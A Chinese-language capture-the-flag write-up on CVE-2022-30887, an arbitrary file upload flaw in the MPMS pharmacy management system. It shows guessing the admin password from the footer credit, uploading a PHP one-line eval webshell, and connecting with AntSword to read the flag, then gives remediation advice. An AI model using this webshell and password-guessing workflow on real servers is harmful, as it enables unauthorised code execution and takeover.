靶场名称:春秋云境
靶场类型:文件上传漏洞

目标说明:目标是多语言药房管理系统 MPMS,利用php_action/editProductImage.php存在的任意文件上传漏洞,上传 PHP 一句话木马获取服务器权限,读取系统根目录下的 flag 文件。 信息收集过程:访问靶场地址首先跳转到系统登录页面,尝试常见弱口令登录失败;观察页面底部版权文字,发现开发者名字 Mayuri K,推测后台账号密码,尝试使用密码 mayurik 完成后台登录。登录进入后台管理界面,浏览各个功能模块,在 Medicine 模块下的 Add Medicine 添加药品功能中,观察到存在 Medicine Image 文件上传点,该上传点后端对应漏洞文件 php_action/editProductImage.php,这里没有对上传文件的后缀做严格校验,支持上传 PHP 脚本文件,确认此处为可利用的上传入口。 使用的工具:浏览器、中国蚁剑(AntSword),一句话木马脚本。
**关键漏洞点:**CVE-2022-30887,多语言药房管理系统 MPMS 的php_action/editProductImage.php接口存在任意文件上传漏洞,后端未严格校验上传文件后缀名、文件内容,允许上传 php 类型脚本文件,攻击者上传一句话木马后,可实现任意代码执行,获取服务器控制权。
利用过程概述:
首先使用下方提示页面进入后获得的邮箱地址mayuri.infospace@gmail.com和猜测到的密码 mayurik 登录系统后台,进入 Add Medicine 添加药品页面,
准备 PHP 一句话木马文件<?php eval(@$_POST'123'); ?>,在 Medicine Image 上传框选择该 php 木马文件,其余表单参数随便填写,点击 Submit 提交上传。
上传完成后进入 Manage Medicine 管理药品页面,找到刚刚新增的药品记录,复制已经上传成功的木马文件访问 URL。
打开蚁剑,新建连接,URL 填入复制得到的木马地址,连接密码填写木马内定义的密码 123,编码器选择 base64,测试连接成功,获取到靶机服务器的文件管理权限。
切换到服务器根目录,发现根目录存在 flag 文件,打开读取拿到 flag:flag{1158f568-5b31-4653-953c-e22ba358f4fd}。


修复建议:
1.文件上传功能后端增加白名单校验,只允许上传 jpg、png 等图片格式后缀,禁止 php 脚本后缀上传;
2.校验上传文件的文件头、文件内容,防止图片马、脚本伪装绕过;
3.上传的文件保存目录设置禁止执行 php 脚本权限,即使上传恶意脚本也无法解析执行;
4.修改后台管理账号密码,使用高强度复杂密码,避免通过源码、版权信息泄露的信息猜测账号密码;
5.升级多语言药房管理系统 MPMS 到最新版本,修补该版本存在的任意文件上传漏洞。
本题总结:这道题是典型的后台任意文件上传渗透题目,第一步需要观察页面细节,从底部版权提示爆破出后台密码完成登录;核心漏洞在于上传接口没有做后缀过滤,能够直接上传 PHP 一句话木马;拿到木马地址之后使用蚁剑连接拿到服务器权限读取 flag。做题需要留意页面上的注释、版权、页脚等容易忽略的信息点,同时理解文件上传漏洞的利用逻辑,漏洞的成因大多是服务端没有对用户上传的文件做严格的后缀、内容双重校验。